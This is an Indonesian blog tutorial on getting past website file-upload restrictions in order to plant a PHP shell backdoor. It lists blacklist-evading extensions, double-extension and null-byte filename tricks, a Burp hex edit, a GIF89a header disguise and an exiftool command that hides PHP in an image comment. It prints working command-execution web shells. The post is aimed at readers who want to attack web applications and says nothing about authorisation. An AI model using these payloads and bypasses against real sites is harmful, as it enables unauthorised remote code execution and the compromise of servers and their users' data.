Bypass File Upload Di Website Untuk Mendapatkan Akses Shell Backdoor


Hallo, 
Oke pada artikel kali ini Admin Evil Twin - Blog ingin membagikan Tutorial Bypass File Upload Di Website Untuk Mendapatkan Akses Shell Backdoor.

Seperti diketahui, salah satu cara menyerang yang paling menjanjikan dalam aplikasi web adalah mengunggah file. Dengan hasil mulai dari XSS hingga eksekusi kode lengkap, unggahan file adalah target yang menarik bagi peretas. Biasanya ada batasan yang dapat mempersulit pelaksanaan serangan, tetapi ada berbagai teknik yang dapat digunakan peretas untuk mengalahkan batasan unggahan file untuk mendapatkan shell.

Mungkin tutorial ini berguna untuk Kalian yang ingin mencoba melakukan serangan ke aplikasi web dengan menggunggah file.

Oke tanpa berlama-lama lagi, langsung aja ke tutorial nya.

Melewati Daftar Hitam / Bypassing the Blacklist

Metode pertama yang akan kita jelajahi adalah cara melewati daftar hitam. Daftar hitam adalah jenis perlindungan di mana string data tertentu, dalam hal ini, ekstensi tertentu, secara eksplisit dilarang dikirim ke server . Pada pandangan pertama, ini mungkin tampak seperti solusi optimal untuk mencegah ekstensi yang buruk, sering kali dapat dijalankan , diunggah, tetapi tidak mudah untuk dilewati.
.pht, .phtml, .php3, .php4, .php5, .php6, .inc
Ekstensi populer lainnya untuk kerangka web adalah JSP , dan berikut beberapa alternatifnya:
.jspx, .jspf, .jsw, .jsv
Dalam beberapa situasi, hanya dengan mengubah kasus ekstensi dapat mengelabui filter agar menerima file, seperti ini:
.pHp, .Php, .phP, .PhP atau .PHP
Jika cara yang pertama gagal, Silahkan coba cara yang kedua.

Melewati Daftar Putih / Bypassing the Whitelist

Jenis pencegahan lain yang biasa ditemukan di web adalah memasukkan ke daftar putih. Memasukkan ke daftar putih justru kebalikan dari daftar hitam, di mana server hanya menerima ekstensi tertentu. Misalnya, aplikasi yang memungkinkan Anda mengunggah gambar profil mungkin hanya mengambil file JPG, JPEG, atau PNG. Meskipun jenis pencegahan ini lebih baik daripada memasukkan daftar hitam, namun masih dapat dengan mudah dilewati.

Beberapa server web, seperti Apache , mengizinkan file dengan ekstensi ganda. Itu berarti kita dapat mengelabui server agar menerima file PHP yang juga memiliki ekstensi JPG yang ditempel di bagian akhir:
eviltwin-shell.php.jpg
Saya juga dapat menggunakan injeksi byte nol untuk melewati filter daftar putih. Apa pun setelah karakter null akan diabaikan saat file disimpan, jadi menyuntikkan antara ekstensi terlarang dan ekstensi yang diizinkan dapat menyebabkan bypass:
eviltwin-shell.php%00.jpg
Atau:
eviltwin-shell.php\x00.jpg
Ini juga dapat dilakukan dengan Burp dan memodifikasi permintaan hex. Beri nama file eviltwin-shell.phpD.jpg - Saya akan mengganti karakter D dengan karakter null selama permintaan. Saat mengunggah file, hentikan permintaan, buka tab hex, dan temukan representasi hex dari karakter D:


Cukup ganti 44 dengan 00 dan kirim permintaan melalui:


Teknik ini dapat digunakan dalam situasi sulit di mana injeksi byte nol standar tidak akan berfungsi.

Cara lain untuk mengatasi whitelisting adalah dengan mengelabui server dengan header jenis file. Biasanya, jika fungsi unggah menerima gambar, itu akan menerima file GIF juga. Kita bisa menambahkan GIF89a; ke awal shell untuk mengelabui unggahan:
GIF89a; <?php system($_GET['cmd']); ?>
Jika cara kedua masih gagal juga, Silahkan Kalian coba cara yang ketiga.

Exif Data

Metode selanjutnya untuk melewati batasan unggahan file menggunakan data Exif dalam sebuah gambar . Kita bisa memasukkan komentar yang berisi kode PHP valid yang akan dieksekusi oleh server saat gambar diproses.

Kita dapat menggunakan exiftool untuk melakukan ini, jika belum diinstal, install dengan command dibawah ini:
apt install exiftool
Kemudian kita dapat memasukkan shell perintah sederhana sebagai komentar di gambar kita:
exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg
Sekarang jika kita menggunakan perintah file di pic kita, kita dapat melihat kode tersebut berhasil dimasukkan:
file pic.jpg
pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3

Yang harus kita lakukan sekarang adalah menambahkan ekstensi PHP sehingga dapat dieksekusi:
mv pic.jpg pic.php.jpg
Teknik ini dapat dikombinasikan dengan salah satu pendekatan untuk melewati daftar hitam atau daftar putih.

Jika masih belum berhasil juga, Kalian bisa coba menggunakan teknik bypass yang lainnya, Untuk teknik nya dibawah ini.

Another Bypass Technique / Teknik Bypass Lainnya

Terkadang, satu-satunya hal yang mencegah file individu diunggah adalah JavaScript sisi klien . Jika fungsi unggah masih berfungsi tanpanya, mematikan JavaScript di browser terkadang dapat mengalahkan batasan. Jika itu tidak berhasil, mencegat permintaan dan mengubah ekstensi file dapat dengan mudah melewati filter sisi klien.

Jenis konten file juga dapat digunakan sebagai cara untuk memvalidasi konten yang diupload. Misalnya, unggahan gambar biasanya akan memeriksa bahwa jenis konten file adalah gambar, bukan skrip atau jenis file berbahaya lainnya. Pencegahan jenis ini dapat dengan mudah dilewati dengan mencegat permintaan dan mengubah jenis konten .

Dalam beberapa situasi, panjang konten juga dapat digunakan untuk memvalidasi file yang diunggah. Ini akan tergantung pada keadaan tertentu, tetapi seringkali yang dibutuhkan hanyalah muatan yang lebih pendek. Misalnya, shell perintah PHP biasa dapat disingkat menjadi ini:
<?=`$_GET[x]`?>
Jika tidak bisa juga maka disarankan untuk skip website tersebut 🙂

Akhir Kata

Oke mungkin cukup sampai disini aja artikel tentang "Bypass File Upload Di Website Untuk Mendapatkan Akses Shell Backdoor".
Mohon maaf bila ada kesalahan kata dan sebagainya, Mohon dimaklumi.

Semoga Bermanfaat dan Sampai jumpa di artikel selanjutnya!